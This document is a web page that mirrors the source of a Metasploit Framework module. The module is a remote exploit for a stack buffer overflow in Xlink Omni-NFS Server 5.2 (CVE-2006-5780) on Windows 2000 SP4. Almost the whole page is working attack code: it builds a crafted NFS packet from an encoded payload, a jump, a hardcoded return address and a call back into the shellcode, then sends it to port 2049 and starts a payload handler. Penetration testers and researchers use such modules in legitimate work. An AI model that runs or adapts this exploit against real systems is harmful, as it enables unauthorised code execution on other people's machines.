Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/nfs/xlink_nfsd.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Omni-NFS Server Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in Xlink Omni-NFS Server 5.2
18
When sending a specially crafted nfs packet, an attacker may be able
19
to execute arbitrary code.
20
},
21
'Author' => [ 'MC' ],
22
'References' => [
23
[ 'CVE', '2006-5780' ],
24
[ 'OSVDB', '30224'],
25
[ 'BID', '20941' ],
26
[ 'URL', 'http://www.securityfocus.com/data/vulnerabilities/exploits/omni-nfs-server-5.2-stackoverflow.pm' ],
27
],
28
'DefaultOptions' => {
29
'EXITFUNC' => 'process',
30
},
31
'Payload' => {
32
'Space' => 336,
33
'BadChars' => "\x00",
34
'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
35
'StackAdjustment' => -3500,
36
},
37
'Platform' => 'win',
38
'Targets' => [
39
[ 'Windows 2000 SP4 English', { 'Ret' => 0x0040bb2e } ],
40
],
41
'Privileged' => true,
42
'DefaultTarget' => 0,
43
'DisclosureDate' => '2006-11-06',
44
'Notes' => {
45
'Reliability' => UNKNOWN_RELIABILITY,
46
'Stability' => UNKNOWN_STABILITY,
47
'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
}
49
)
50
)
51
52
register_options([Opt::RPORT(2049)])
53
end
54
55
def exploit
56
connect
57
58
buff = payload.encoded
59
buff << Rex::Arch::X86.jmp_short(6) + rand_text_english(2)
60
buff << [target.ret].pack('V')
61
buff << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-330").encode_string
62
buff << rand_text_english(251)
63
64
pkt = [1].pack('N')
65
pkt << [0].pack('N')
66
pkt << [2].pack('N')
67
pkt << [100005].pack('N')
68
pkt << [1].pack('N')
69
pkt << [1].pack('N')
70
pkt << [1].pack('N')
71
pkt << [400].pack('N')
72
pkt << buff[0, 400]
73
pkt << [1].pack('N')
74
pkt << [400].pack('N')
75
pkt << buff[300, 400]
76
77
sploit = [pkt.length | 0x80000000].pack('N') + pkt
78
79
print_status("Trying target #{target.name}...")
80
sock.put(sploit)
81
82
handler
83
disconnect
84
end
85
end
86
87